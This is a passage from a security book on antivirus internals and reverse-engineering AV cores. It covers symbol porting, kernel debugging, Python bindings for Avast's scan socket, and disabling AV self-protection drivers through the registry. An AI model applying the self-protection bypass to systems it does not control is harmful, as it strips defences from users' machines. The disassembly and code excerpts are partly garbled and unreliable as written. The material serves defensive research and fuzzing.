anti-exploiting solutions. Some anti-exploiting techniques can be as simple as
enforcing ASLR and DEP for every single program and library linked to the
executable, while other techniques are more complex, like user- or kernel-land
hooks to determine if some action is allowed for some specific process.
Unfortunately, as is common with AV software, most anti-exploiting toolkits
offered by the AV industry are implemented in userland via function hooking;
the Malwarebytes anti-exploiting toolkit is one example. With the advent of the
Microsoft Enhanced Mitigation Experience Toolkit (EMET), most anti-exploiting
toolkits implemented by the AV industry either are incomplete compared to it
or are simply not up to date, making them easy to bypass.
Chapter 1 ■ Introduction to Antivirus Software
In some cases, using anti-exploiting toolkits implemented by some AV companies is even worse than not using any anti-exploiting toolkit at all. One example
is the Sophos Buffer Overflow Protection System (BOPS), an ASLR implementation. Tavis Ormandy, a prolific researcher working for Google, discovered that
Sophos installed a system-wide Dynamic Link Library (DLL) without ASLR
being enabled. This system-wide DLL was injected into processes in order to
enforce and implement a faux ASLR for operating systems without ASLR, like
Windows XP. Ironically, this system-wide DLL was itself compiled without
ASLR support; as a result, in operating systems offering ASLR, like Windows
Vista, ASLR was effectively disabled because this DLL was not ASLR enabled.
More problems with toolkit implementations in AV software are discussed
in Part IV of this book.
This introductory chapter talked about the history of antiviruses, various types
of malware, and the evolution of both the AV industry and the malware writers’
skills who seem to be always ahead of their game. In the second part of this
chapter, the antivirus suite was dissected, and its various basic and advanced
features were explained in an introductory manner, paving the way for more
detailed explanation in the subsequent chapters of the book.
In summary:
Back in the old days when the AV industry was in its infancy, the AVs
were called scanners because they were made of command-line scanners
and a signature database. As the malware evolved, so did the AV. AV
software now includes heuristic engines and aims at protecting against
browser exploits, network packets, email attachments, and document files.
There are various types of malicious software, such as Trojans, malware,
viruses, rootkits, worms, droppers, exploits, shellcode, and so on.
Black hat malware writers are motivated by monetary gains and intellectual property theft, among other motivations.
Governments also participate in writing malware in the form of spying or
sabotage software. Often they write malware to protect their own interests, like the Bahrain government used the FinFisher software to spy on
rebels or to sabotage other countries’ infrastructures as in the case of the
Stuxnet malware that was allegedly co-written by the U.S. and the Israeli
governments to target the Iranian nuclear program.
AV products are well marketed using all sort of buzz words. This marketing strategy can be misleading and gives the average users a false sense
of security.
Part I ■ Antivirus Basics
An AV software is a system made of the core or the kernel, which orchestrates the functionality between all the other components: plug-ins, system
services, file system filter drivers, kernel AV components, and so on.
AV need to run fast. Languages that compile into native code are the
best choice because they compile natively on the platform without the
overhead of interpreters (such as VM interpreters). Some parts of the AV
can be written using managed or interpreted languages.
An AV software is made up of basic features such as the core or the kernel,
the scanning engine, signatures, decompressors, emulators, and support
for various file format parsing. Additionally, AV products may offer some
advanced features, such as packet inspection capabilities, browser security
add-ons, self-protection, and anti-exploitation.
The next chapter starts discussing how to reverse-engineer AV cores kernels
for the sake of automated security testing and fuzzing. Fuzzing is just one way
to detect security bugs in antiviruses.
Reverse-Engineering the Core
The core of an antivirus product is the internal engine, also known as the kernel.
It glues together all important components of the AV while providing supporting functionality for them. For example, the scanners use the API exported
by the core to analyze files, directories, and buffers, as well as to launch other
analysis types.
This chapter discusses how you can reverse-engineer the core of an antivirus
product, what features are interesting from an attacker’s viewpoint, and some
techniques to make the reverse-engineering process easier, especially when
the antivirus software tries to protect itself against being reverse-engineered.
By the end of the chapter, you will use Python to write a standalone tool that
interfaces directly with the core of an AV product, thus enabling you to perform
fuzzing, or automated testing of your evasion techniques.
Reverse-Engineering Tools
The de facto tool for reverse-engineering is the commercial IDA disassembler.
During the course of this book, it is assumed that you have a basic knowledge
of IDA because you will be using it for static and dynamic analysis tasks. Other
tools that this chapter covers are WinDbg and GDB, which are the standard
debuggers for Windows and Linux, respectively. The examples will also use
Python for automating typical reverse-engineering tasks both from inside IDA
Part I ■ Antivirus Basics
and using the IDAPython plug-in and for writing standalone scripts that do not
rely on other third-party plug-ins.
Because this chapter covers malware and researching AV evasion techniques,
it is recommended that you use virtualization software (such as VMware,
VirtualBox, or even QEMU) and carry out the experimentation in a safe, virtualized environment. As you will see in the following sections, debugging symbols
will be helpful to you when they are present, and the Linux version of an AV
is most likely to have debugging symbols shipped with it.
For the rest of the book, it is recommended that you keep two virtual machines
handy—one with Windows and the other with Linux—in case you want to do
hands-on experimentation.
Command-Line Tools versus GUI Tools
All current antivirus products offer some kind of GUI interface for configuring
them, viewing results, setting up scheduled scans, and so on. The GUI scanners
are typically too dense to reverse-engineer because they do not interact exclusively
with the antivirus kernel also with many other components. Simply trying to
discern which code handles GUI painting, refreshing, window events, and so
on is a significant task that involves both static and dynamic work. Fortunately,
some of today’s antivirus products offer command-line-independent scanners.
Command-line tools are smaller than their GUI counterparts and are often
self-contained, making them the most interesting target to start the reverseengineering process.
Some AV software is designed to run in a centralized server, and therefore
the scanning core is used by the server component rather than by the commandline tools or the GUIs. In such cases, the server will expose a communication
protocol for the command-line tools to connect to and interface with. That does
not mean that the server component has to exist in its own machine; instead,
it can still run locally as a system service. For example, Avast for Linux and
Kaspersky antivirus products have a server, and the GUIs or command-line
scanners connect to it, issue the scan queries through it, and then wait for the
results. In such cases, if you attempt to reverse-engineer the command-line
tool, you will only learn about the communication protocol, or if you are lucky,
you may find remote vulnerabilities in the servers, but you will not be able to
understand how the kernel works. To understand how the kernel works, you
have to reverse-engineer the server component, which, as mentioned before, is
hosting the kernel.
In the following sections, the server component from Avast AV for Linux will
be used as an example.
Chapter 2 ■ Reverse-Engineering the Core
Debugging Symbols
On the Windows platform, it is unusual for products to ship with the corresponding debugging symbols. On the other hand, on Unix-based operating systems,
debugging symbols often ship with third-party products (usually embedded
in the binaries). The lack of debugging symbols makes reverse-engineering of
the core of the antivirus product or any of its components a difficult task at first
because you do not have function or label names that correspond to the disassembly listing. As you will see, there are tricks and tools that may help you
discover some or all of the symbols for your target antivirus product.
When an AV product exists for various platforms, it does not make sense
for the company to have different source code for these different platforms. As
such, in multi-platform AV products, it is very common for the kernel to share
all or some of the source code base between the various platforms. In those
situations, when you reverse the core on one platform, reversing it on another
platform becomes easier, as you shall see.
There are exceptions to this. For example, the AV product may not have a
core for a certain platform (say, for Mac OS X) and may license it from another
AV vendor. The AV vendor may decide to integrate another existing product’s
kernel into its own product so it only needs to change names, copyright notices,
and the other resources such as strings, icons, and images. This is the case
with the Bitdefender product and its engine, where many companies purchase
licenses for the engine.
Returning to the original question about how to get a partial or full understanding of how the executable images work, you need to check whether the
product you want to analyze offers any version for Unix-based operating systems
(Linux, BSD, or Mac OS X), and you hope that the symbols are embedded in the
binaries. If you are lucky, you will have symbols on that platform, and because
the core is most likely the same between different operating system versions (with
a few differences such as the use of OS-specific APIs and runtime libraries), you
will be able to transfer the debugging symbols from one platform to another.
Tricks for Retrieving Debugging Symbols
Having established that on Unix-based operating systems you are more likely
to have debugging symbols for AV products, this section uses the F-Secure antivirus products as an example. Consider the fm library (fm4av.dll in Windows,
and in Linux). Windows does not have debugging symbols
for that library, but the Linux version includes many symbols for this and
other binaries.
Part I ■ Antivirus Basics
Figure 2-1 shows the functions list discovered by IDA for the Windows version.
Figure 2-1: F-Secure for Windows library fm4av.dll as displayed in IDA
Figure 2-2 shows the functions list with meaningful names, pulled by IDA
from the embedded symbols in the binary, for the very same library but for the
Linux version.
Considering that antivirus kernels are almost equal, with only a few
exceptions between platforms, you can start by reverse-engineering the
Linux version. The functionality will be similar in the Windows version.
You can port the symbols from the Linux version to the Windows version
using third-party commercial binary diffi ng products such as zynamics
BinDiff. You can perform the bindiffi ng on both libraries and then import
the matched symbols from the Linux version to the Windows version by
right-clicking the Matched Functions tab and selecting Import Functions
and Comments (see Figure 2-3).
In many situations, unlike the case of F-Secure, which has partial symbols,
you may retrieve full symbols with variable and even label names. In those
cases, the same techniques can be applied.
Chapter 2 ■ Reverse-Engineering the Core
Figure 2-2: F-Secure for Linux library as seen in IDA
Figure 2-3: Importing symbols from Linux to Windows
Part I ■ Antivirus Basics
Figure 2-4 shows a section of disassembly of one library of Comodo Antivirus
for Linux with full symbols.
Figure 2-4: Disassembly of Comodo for Linux library showing full symbols
Porting symbols between operating systems is not 100-percent reliable for
various reasons. For example, different compilers are used for Windows, Linux,
BSD, and Mac OS X. While on Unix-based platforms, GCC (and sometimes
Clang) is the most used compiler, this is not the case for Windows, where the
Microsoft compiler is used. This means that the very same C or C++ code will
generate different assembly code for both platforms, making it more difficult to
compare functions and port symbols. There are other tools for porting symbols,
like the Open Source IDA plug-in Diaphora, created by Joxean Koret, one of the
the authors of this book, using the Hex-Rays decompiler-generated Abstract
Syntax Tree (AST) for comparing function graphs, among other techniques.
Debugging Tricks
The previous sections focused exclusively on using static analysis techniques
to get information from the antivirus product you want to reverse-engineer.
This section focuses on dynamic analysis approaches to reverse-engineering
the antivirus product of your choice.
Antivirus products, like malware, generally try to prevent reverse-engineering.
The AV executable modules can be obfuscated, sometimes even implementing
different obfuscation schemes for each binary (as in the case of the Avira kernel).
The AV executables may implement anti-debugging tricks that make it difficult for
a researcher to understand how the malware detection algorithm operates. These
anti-debugging tricks are designed to make it more difficult to debug the components of an antivirus to get a real idea of how they detect malware or how some
specific parser bug can be exploited leading to attacker controlled code execution.
Chapter 2 ■ Reverse-Engineering the Core
The following sections offer some advice for debugging antivirus software.
All the debugging tips and tricks focus exclusively on Windows because no
antivirus has been observed trying to prevent itself from being debugged on
Linux, FreeBSD, or Mac OS X.
Backdoors and Configuration Settings
While antivirus products generally prevent you from attaching to their services with a debugger, this protection is not difficult to bypass when you
employ reverse-engineering techniques. The self-protection mechanisms
(as the antivirus industry calls them) are usually meant to prevent malware
from attaching to an antivirus service, to create a thread in the context of
the antivirus software, or to forbid killing the antivirus processes (a common task in malware products). They are not meant to prevent users from
disabling the antivirus in order to debug it or to do whatever they want
with it. Actually, it would make no sense to prevent users from disabling (or
uninstalling) the product.
Disabling the self-protection mechanism of the antivirus product is one of
the first steps you must carry out to start any dynamic analysis task where a
debugger is involved, unless there is a self-contained command-line analysis
scanner (as in the cases of the Avira scancl tool or the Ikarus t3 Scan tool).
Command-line scanners do not usually try to protect themselves because, by
their nature, they are not resident and are invoked on demand.
The methods to disable the antivirus self-protection mechanism are not commonly documented because, from the point of view of the antivirus companies,
this information is only relevant to the support and engineering people: they
actually need to debug the services and processes to determine what is happening when a customer reports a problem. This information is not made public
because a malware writer could use it to compromise a machine running the
antivirus software. Most often, modifying one registry key somewhere in the
registry hive enables you to debug the AV services.
Sometimes a programmer backdoor may allow you to temporarily disable
the self-protection mechanism, as in the case of the old versions of Panda Global
Protection. Panda provided a library, called pavshld.dll (Panda Antivirus Shield),
which exported one function that received only one parameter: a secret GUID.
When passed, this GUID disabled the antivirus software. While there is no tool
to call this function, you could easily create a tool to load this library dynamically
and then call this function with the secret key, thereby disabling Panda’s shield
and allowing you to start performing dynamic analysis tasks with OllyDbg, IDA,
or your favorite debugger. This vulnerability is discussed more in Chapter 14.
The self-protection mechanisms of an antivirus product can be implemented
in userland by hooking special functions and implementing anti-debugging tricks.
In kernel-land, they can be implemented using a device driver. Today’s antivirus
software generally implements self-protection mechanisms using kernel drivers.
The latter is the correct approach, because relying on userland hooks would be
Part I ■ Antivirus Basics
a bad decision for many reasons, the simplest of which is that the hooks can be
simply removed from userland processes, as discussed in Chapter 9.
If a kernel-land driver was used for the sole purpose of protecting the AV from
being disabled, then it may be sufficient for you to simply prevent the kernel
driver from loading, which would thus disable the self-protection mechanism.
To disable kernel drivers or system services under Windows, you would simply
need to open the registry editor tool (regedit.exe), go to HKEY_LOCAL_MACHINE
\System\CurrentControlSet\Services, search for any driver installed by the
appropriate antivirus product, and patch the appropriate registry value. For example,
say that you want to disable the self-protection mechanism (called “anti-hackers”)
on the Chinese antivirus product Qihoo 360. You would need to change the Start
value for the 360AntiHacker driver (360AntiHacker.sys) to 4 (see Figure 2-5), which
corresponds to the SERVICE_DISABLED constant in the Windows SDK. Changing
the service start type to this value simply means that it is disabled and will not be
loaded by Windows. After changing this value, you may need to reboot.
Figure 2-5: How to disable the 360AntiHacker driver
It is worth mentioning that the antivirus is likely going to forbid you from
disabling the driver with an “Access Denied” error message or another less
Chapter 2 ■ Reverse-Engineering the Core
meaningful message. If this occurs, you can reboot Windows in safe mode,
disable the driver, and then reboot again in normal mode.
Some antivirus products may have a single driver that implements core functionality in addition to the self-protection mechanism. In that case, disabling
the driver will simply prevent the antivirus from working correctly because
higher components may need to communicate with the driver. If this occurs,
you only have one option: kernel debugging.
Kernel Debugging
This section focuses on how to use a kernel debugger to debug both the antivirus drivers and the user-mode processes. Kernel debugging is the least painful
method of attaching a debugger to an antivirus process, while avoiding all the
anti-debugging tricks based on the user mode. Instead of disabling the antivirus
drivers that perform self-protection, you debug the entire operating system
and attach, when required, to the desired userland process. This task must be
performed using one of the debuggers (WinDbg or Kd) from the Debugging
Tools for Windows package or the WDK (see Figure 2-6).
Figure 2-6: The WinDbg debugger
Part I ■ Antivirus Basics
To perform kernel debugging, you need to create a virtual machine with either
the commercial VMware product or the open-source VirtualBox. The examples
in this book use VirtualBox because it is free.
After creating a virtual machine with Windows 7 or any later version, you
need to configure the operating system boot options to allow kernel debugging.
In the old days of Windows XP, Windows 2000, and so on, you could perform
kernel debugging by editing the file c:\boot.ini. Since Windows Vista, you
need to use the bcdedit tool. To accomplish that, just open a command prompt
(cmd.exe) with elevated privileges (run as administrator), and then execute the
following two commands:
$ bcdedit /debug on
$ bcdedit /dbgsettings serial debugport:1 baudrate:115200
The first command enables kernel debugging for the current operating system.
The second command sets the global debug settings to serial communications,
using the port COM1 and a baud-rate of 115,200, as shown in Figure 2-7.
Figure 2-7: Setting up kernel debugging on Windows 7 with bcdedit
After successfully configuring debugging for the current operating system,
you need to shut down the current virtual machine to set up the remaining
configuration settings, this time, from VirtualBox:
1. Right-click the virtual machine, select Settings, and, in the dialog box that
appears, click Serial Ports on the left side.
2. Check the Enable Serial port option, select COM1 at Port Number, and
then select Host Pipe from the drop-down menu for Port mode.
3. Check the Create Pipe option, and enter the following path in the Port
/File Path: \\.\pipe\com_1 (as shown in Figure 2-8).
4. After you have correctly completed the previous steps, reboot the virtual
machine and select the operating system that says “Debugger Enabled” in
Chapter 2 ■ Reverse-Engineering the Core
its description. Voilà! You can now debug both kernel drivers and usermode applications without worrying about the self-protection mechanism
of the corresponding antivirus software.
Figure 2-8: Setting up debugging in VirtualBox
N O T E These steps assume that you are working in a Windows host running
VirtualBox. Setting up kernel debugging for Windows in a Linux or Mac OS X host
is a problematic process that, at the very least, requires two virtual machines and is
largely dependent on the host operating system version. Although you can set up
kernel debugging in a Linux or Mac OS X host with both VMware and VirtualBox, this
can be very difficult. It is recommended that, when possible, you use a Windows host
to perform kernel debugging.
Debugging User-Mode Processes with a Kernel-Mode Debugger
It is also possible with a kernel-mode debugger to debug just user-mode processes
instead of the kernel. To do so, you have to connect the kernel debugger (WinDbg,
for example) and type commands that allow the debugger to switch the current
execution context to the execution context of the desired process.
The required steps are listed here:
1. Open WinDbg in an elevated command prompt, and select File→Kernel
Debug from the main menu.
2. In the dialog box, go to the COM tab and enter the value of the Port or
File you set previously. Check the Pipe option.
3. Configure the symbols path to point to the remote Microsoft symbol
server and instruct WinDbg to reload the symbols by issuing the following commands:
Part I ■ Antivirus Basics
.sympath srv*
After you set the symbols path, WinDbg will be able to debug with the help
of the public symbols.
This example uses the F-Secure retail antivirus for Windows; you want to
debug its user-mode service, F-Secure Scanner Manager 32-bit (fssm32.exe). To
do this from WinDbg in kernel mode, you need to list all the processes running
in the debugged host, search for the actual process to debug, switch the current
execution context, and then start debugging.
To list all the user-mode processes from kernel mode, execute the following
> !process 0 0
You can filter out results by process name by appending the name of the
process to the end of the command, as shown here:
> !process 0 0 fssm32.exe
PROCESS 868c07a0 SessionId: 0 Cid: 0880
Peb: 7ffdf000 \
ParentCid: 06bc
DirBase: 62bb7000 ObjectTable: a218da58 HandleCount: 259.
Image: fssm32.exe
The output string process 868c07a0 points to an EPROCESS structure. Pass
this EPROCESS address to the following command:
.process /r /p 868c07a0.
The modifiers /r /p are specified so the context switch between kernel and
user mode happens automatically so you can debug the fssm32.exe process
after running this command:
lkd> .process /r /p 868c07a0
Implicit process is now 868c07a0
Loading User Symbols
After the context switch takes place, you can list all the user-mode libraries
loaded by this process with the command lm:
lkd> lm
module name
Chapter 2 ■ Reverse-Engineering the Core
Now you can debug user-mode processes from kernel mode. If you would
like to learn more debugging tricks for WinDbg, it is highly recommended that
you read Chapter 4 in Practical Reverse Engineering (Dang, Gazet, Bachaalany,
and Josse 2014; Wiley, ISBN-13: 978-1-118-78731-1).
Analyzing AV Software with Command-Line Tools
Sometimes, you may be lucky enough to find a completely self-contained command-line tool. If this is the case, you don’t need to mess with the antivirus in
order to disable the protection mechanism or to set up kernel debugging. You
can use any debugger you want to dynamically analyze the core of the antivirus product. There are various types of antivirus software for Windows that
offer such command-line tools (Avira and Ikarus are two examples). However,
many antivirus products do not offer any independent command-line tool for
Windows because either they dropped this feature or it is exclusively used by
the engineers or the support people. If that is the case, you may want to find out
which other operating systems are supported. If there is a Linux, BSD, or Mac
OS X version, odds are that there is an independent, self-contained commandline tool that you can debug. This is the case with Avira, Bitdefender, Comodo,
F-Secure, Sophos, and many others.
Debugging the command-line tool does not mean you are going to always
debug it interactively with a tool such as WinDbg, IDA, OllyDbg, or GDB. You
may want to write fuzzers using a debugging interface, such as the LLDB
bindings, Vtrace debugger (from Kenshoto), or PyDbg and WinAppDbg
Python APIs.
Part I ■ Antivirus Basics
N O T E A fuzzer,r or fuzz-testing tool, is a program written with the intent to feed a
given program invalid or unexpected input. Depending on the program you are fuzzing, the input may vary. For example, when fuzzing an antivirus, you feed the AV modified or incomplete samples. The goal of fuzzers will vary, from finding software bugs
or software security bugs, to discovering how a program operates under certain input,
and so on. In order to write fuzzers, you need a way to automate the task of modifying
the input and then feeding it to the program to be fuzzed. Usually fuzzers run hundreds, if not thousands, of input mutations (modifications to the inputs) before they
catch noteworthy bugs.
Porting the Core
This section discusses how to decide what platform and tools to automate.
Choosing the appropriate operating system for automation and the right tool from
the AV to be emulated puts you on the right path for your reverse-engineering
and automation efforts.
For automation in general or fuzz automation, the best operating systems are
Unix based, especially Linux because it requires less memory and disk space
and offers a plethora of tools to automate tasks. In general, it is easier to run a
set of Linux-based virtual machines with QEMU, KVM, VirtualBox, or VMware
than to do the same with a set of Windows virtual machines. Because of this, it
is recommended that you run the fuzzing automations with antivirus software
in Linux. Antivirus companies, like regular software companies, usually try
to target popular operating systems such as Windows. If the antivirus product
does not have a Linux version, but only Windows versions, it will still be possible to run the Windows version of the AV scanner using the Wine (Wine Is
Not an Emulator) emulator, at almost native speed.
Wine software is best known for running Windows binaries in non-Windows
operating systems, such as Linux. Winelib (Wine’s supporting library), on the
other hand, can be used to port Windows-specific applications to Linux. Some
example applications that were successfully ported to Linux using Winelib
were Picasa (an image viewer for organizing and editing digital photos, created
by Google), Kylix (a compiler and integrated development environment once
available from Borland but later discontinued), WordPerfect9 for Linux from
Corel, and WebSphere from IBM. The idea behind using Wine or Winelib is
that you can choose to run Windows-only command-line tools using Wine
or reverse-engineer the core libraries to write a C or C++ wrapper for Linux,
using Winelib, that invokes functions exported by a Windows-only DLL.
Both mechanisms can be used successfully to run automations with, for
example, the Windows-only command-line tool Ikarus t3 Scan (as shown in
Figure 2-9) and the mpengine.dll library used by the Microsoft Security Essentials
antivirus product (again, exclusive to Windows). This option is recommended
Chapter 2 ■ Reverse-Engineering the Core
when there is no other way to automate the process of running the targeted
antivirus product under Linux because the automation in Windows environments is too complex or requires excessive resources.
Figure 2-9: Ikarus t3 Scan running in Linux with Wine
A Practical Example: Writing Basic Python Bindings
for Avast for Linux
This section gives you a practical example of how to reverse-engineer an antivirus component to create bindings. In short, when bindings are discussed here,
they refer to writing tools or libraries that you can plug in to your fuzzers. The
idea is that once you can interact with your own tools instead of with the tools
supplied by the antivirus vendor, you can automate other tasks later (such as
creating your own scanner or fuzzer). This example uses Avast antivirus for
Linux as a target and the Python language as the automation language. This
antivirus version is so simple that reverse-engineering it with the aim of writing bindings should take only an hour or two.
A Brief Look at Avast for Linux
Avast for Linux has only two executables: avast and scan. The first executable
is the server process responsible for unpacking the virus database file (the VPS
file), launching scans, querying URLs, and so on. The second executable is the
client tool to perform these queries. Incidentally, the distributed binaries contain partial symbols, as shown in Figure 2-10, which shows the client tool scan.
Part I ■ Antivirus Basics
Figure 2-10: A list of functions and disassembly of the scan_path function in the “scan”
tool from Avast
Thanks to the partial symbols, you can start analyzing the file with IDA and
easily determine what it does. Start with the main function:
.text:08048930 ; int __cdecl main(int argc, const char **argv,
const char **envp)
public main
.text:08048930 main
proc near ; DATA XREF: _start+17 o
.text:08048930 argc
= dword ptr 8
.text:08048930 argv
= dword ptr 0Ch
.text:08048930 envp
= dword ptr 10h
.text:08048930 push
.text:08048931 mov
ebp, esp
.text:08048933 push
.text:08048934 push
.text:08048935 mov
esi, offset src ; "/var/run/avast/scan.sock"
.text:0804893A push
.text:0804893B and
esp, 0FFFFFFF0h
Chapter 2 ■ Reverse-Engineering the Core
.text:0804893E sub
esp, 0B0h
.text:08048944 mov
ebx, [ebp+argv]
.text:08048947 mov
dword ptr [esp+28h], 0
.text:0804894F mov
dword ptr [esp+20h], 0
.text:08048957 mov
dword ptr [esp+24h], 0
.text:0804895F loc_804895F:
; CODE XREF: main+50 j
; main+52 j ...
.text:0804895F mov
eax, [ebp+argc]
.text:08048962 mov
dword ptr [esp+8],offset shortopts ; "hvVfpabs:e:"
.text:0804896A mov
[esp+4], ebx
; argv
.text:0804896E mov
[esp], eax
; argc
.text:08048971 call _getopt
.text:08048976 test eax, eax
.text:08048978 js
short loc_8048989
.text:0804897A sub
eax, 3Ah
; switch 61 cases
.text:0804897D cmp
eax, 3Ch
.text:08048980 ja
short loc_804895F
.text:08048982 jmp
ds:off_804A5BC[eax*4] ; switch jump
At address 0x08048935, there is a pointer to the C string /var/run/avast
/scan.sock, which is loaded into the ESI register. Later on, there is a call to the
function getopt with the string hvVfpabs:e:. These are the arguments that
the scan tool supports and the previous path and Unix socket that the client
tool needs to connect to. You can verify it later on, at the address 0x08048B01:
edi, [esp+0BCh+socket_copy]
[esp+4], esi
; ESI points to our previously set socket's path
[esp], edi
; dest
[esp+18h], dl
word ptr [esp+42h], 1
dword ptr [esp+8], 0 ; protocol
dword ptr [esp+4], SOCK_STREAM ; type
dword ptr [esp], AF_UNIX ; domain
The pointer to the socket’s path is copied (using strcpy) to a stack variable
(stack_copy), and then it is used to open a Unix domains socket. This socket is
then connected via the connect function call to the scan.sock socket:
eax, [esp+0BCh+socket]
edx, [esp+42h]
[esp+4], edx
; addr
[esp], eax
; fd
[esp+8], ecx
; len
eax, eax
Part I ■ Antivirus Basics
It is now clear that the client (command-line scanner) wants to connect to the
server process and send it scan requests using sockets. The next section looks
at how the client communicates with the server.
Writing Simple Python Bindings for Avast for Linux
In the previous section, you established what the client program does; now, you
verify this theory by trying to connect to the socket from the Python prompt:
$ python
>>> import socket
>>> s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
>>> sock_name="/var/run/avast/scan.sock"
>>> s.connect(sock_name)
It works! You can connect to the socket. Now you need to determine what the
client tool sends to the server and what responses it receives. Right after the connect call, it calls the function parse_response and expects the result to be the
magical value 220:
eax, [esp+0BCh+socket]
edx, [esp+0BCh+response]
eax, 220
Now you try to read 1,024 bytes from the socket after connecting to it:
$ python
>>> import socket
>>> s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
>>> sock_name="/var/run/avast/scan.sock"
>>> s.connect(sock_name)
>>> s.recv(1024)
'220 DAEMON\r\n'
Mystery solved: you know now that the 220 error response code comes directly
from the server as an answer. In your bindings, you need to get the number that
is received from the welcome message that the Avast daemon sends and check
if the answer is 220, which means everything is all right.
Continuing with the main function, there is a call to the av_close function.
The following is its disassembly:
proc near
= dword ptr -1Ch
= dword ptr -18h
= dword ptr -14h
Chapter 2 ■ Reverse-Engineering the Core
.text:08049580 push
.text:08049581 mov
ebx, eax
.text:08049583 sub
esp, 18h
.text:08049586 mov
[esp+1Ch+n], 5 ; n
.text:0804958E mov
[esp+1Ch+buf], offset aQuit ; "QUIT\n"
.text:08049596 mov
[esp+1Ch+fd], eax ; fd
.text:08049599 call
.text:0804959E test
eax, eax
.text:080495A0 js
short loc_80495C1
.text:080495A2 loc_80495A2:
; CODE XREF: av_close+4D
.text:080495A2 mov
[esp+1Ch+fd], ebx ; fd
.text:080495A5 call
.text:080495AA test
eax, eax
.text:080495AC js
short loc_80495B3
The client then calls av_close after finishing its tasks, which sends the string
QUIT\n to the daemon, to tell it that it has finished and that it should close the
client connection.
Now you create a minimal class to communicate with the Avast daemon,
basically to connect and successfully close the connection. This is the content
of containing your first implementation:
import socket
SOCKET_PATH = "/var/run/avast/scan.sock"
class CBasicAvastClient:
def __init__(self, socket_name):
self.socket_name = socket_name
self.s = None
def connect(self):
self.s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
banner = self.s.recv(1024)
return repr(banner)
def close(self):
def main():
cli = CBasicAvastClient(SOCKET_PATH)
if __name__ == "__main__":
Part I ■ Antivirus Basics
You try your script:
$ python
'220 DAEMON\r\n'
It works! You have your own code to connect to the daemon server and close
the connection. Now it is time to discover more commands, including the most
interesting one: the command to analyze a sample file or directory.
At address 0x0804083B, there is an interesting function call:
edx, [ebx+esi*4]
eax, [esp+0BCh+socket]
Because you have partial symbols, you can easily determine what this function is for: to scan a path. Take a look at the scan_path function:
proc near
; CODE XREF: main+40B
; .text:08049EF1
dword ptr -103Ch
dword ptr -1038h
dword ptr -1034h
dword ptr -1030h
dword ptr -102Ch
dword ptr -1028h
dword ptr -1024h
dword ptr -1020h
byte ptr -101Ch
dword ptr -10h
dword ptr -0Ch
dword ptr -8
dword ptr -4
esp, 103Ch
[esp+103Ch+resolved], 0 ; resolved
[esp+103Ch+name], edx ; name
[esp+103Ch+var_10], ebx
ebx, eax
[esp+103Ch+var_8], edi
edi, edx
[esp+103Ch+var_C], esi
[esp+103Ch+var_4], ebp
[esp+103Ch+var_102C], offset storage
[esp+103Ch+var_1028], 1000h
[esp+103Ch+var_1024], 0
[esp+103Ch+var_1020], 0
eax, eax
Chapter 2 ■ Reverse-Engineering the Core
.text:08049F5E loc_8049F5E:
; CODE XREF: scan_path+1CE j
.text:08049F5E mov
ds:storage, 'NACS'
.text:08049F68 mov
esi, eax
.text:08049F6A mov
ds:word_804BDE4, ' '
There is a call to the function realpath (which is to get the true real path of
the given file or directory) and you can also see the 4-byte string (in little-endian
format) SCAN, followed by some spaces. Without actually reverse-engineering the
entire function, and given the format of the previous command implemented
for the close method in the basic Python bindings for Avast, it seems that the
command you want to send to the daemon to scan a file or directory is SCAN
Now you add the additional code that sends the scan command to the daemon
and see the result it returns:
import socket
SOCKET_PATH = "/var/run/avast/scan.sock"
class CBasicAvastClient:
def __init__(self, socket_name):
self.socket_name = socket_name
self.s = None
def connect(self):
self.s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
banner = self.s.recv(1024)
return repr(banner)
def close(self):
def scan(self, path):
self.s.send("SCAN %s\n" % path)
return repr(self.s.recv(1024))
def main():
cli = CBasicAvastClient(SOCKET_PATH)
if __name__ == "__main__":
Part I ■ Antivirus Basics
When you run the script, you get the following output:
$ python
'220 DAEMON\r\n'
'210 SCAN DATA\r\n'
This code does not produce useful data because you need to read more packets
from the socket as the command 210 SCAN DATA\r\n tells the client that more
packets will be sent, with the actual response. Actually, you need to read until
you receive a packet with the form 200 SCAN OK\n. Now you can modify the
code of the member as follows (a lazy approach that, nevertheless, works):
def scan(self, path):
self.s.send("SCAN %s\n" % path)
while 1:
ret = self.s.recv(8192)
if ret.find("200 SCAN OK") > -1:
Now you try the code again. This time, you see a different output with the
data you expected:
$ python
'220 DAEMON\r\n'
'210 SCAN DATA\r\n'
'SCAN /some/path/malware/xpaj/00908235ee9e267fa2f4c83fb4304c63af976cbc\t
[L]0.0\t0 Win32:Hoblig\\ [Heur]\r\n'
'200 SCAN OK\r\n'
Marvelous! The Avast server answered that the file 00908235ee9e267fa2f
4c83fb4304c63af976cbc was identified as the malware Win32:Hoblig. Now
you have a working set of basic Python bindings that, at the very least, can
scan paths (either files or directories) and get the scan result; therefore, you
can adapt the code to write a fuzzer based on the protocol format. You may
want to check whether Avast antivirus for Windows uses the same protocol,
and port your bindings to Windows; if this is not the case, then you may want
to continue fuzzing under Linux and attach GDB or another debugger to the
/bin/avast daemon and use your bindings to feed malformed (fuzzed) input
files to the Avast server and wait for it to crash. Remember, the core is the same
for both Windows and Linux (although, according to the Avast authors, the
Linux core version is not always the latest version of their core). If you have
a crash in the Linux version of the tool, the odds of it affecting the Windows
version are very high. Indeed, this very same method has been used to find
a vulnerability parsing RPM files in the Linux version that affected all Avastsupported platforms.
Chapter 2 ■ Reverse-Engineering the Core
The Final Version of the Python Bindings
You can download the final version of the Python bindings from the following
GitHub project page:
The bindings are exhaustive, covering almost all protocol features discovered
in April 2014.
A Practical Example: Writing Native C/C++ Tools for
Comodo Antivirus for Linux
If a server is available, interfacing with one that is listening for commands on
a given port is an easy way to automate tasks with various antivirus products.
Unlike AVG or Avast for Linux, not all products offer such a server interface. In
those cases, you need to reverse-engineer the command-line scanner, if there is
one, as well as the core libraries, to reconstruct the required internal structures,
the relevant functions, and their prototypes so you know how to call those
functions using automation.
This example creates an unofficial C/C++ SDK for Comodo Antivirus for Linux.
Fortunately for you, it comes with full symbols, so discovering the interfaces,
structures, and so on will be relatively easy.
Start by analyzing the Comodo command-line scanner for Linux (called
cmdscan), which is installed in the following directory:
Open the binary in IDA, wait until the initial auto-analysis finishes, and then
go to the main function. You should see a disassembly like this one:
char **envp)
; __int64 __fastcall main(int argc, char **argv,
main proc near
var_A0= dword ptr -0A0h
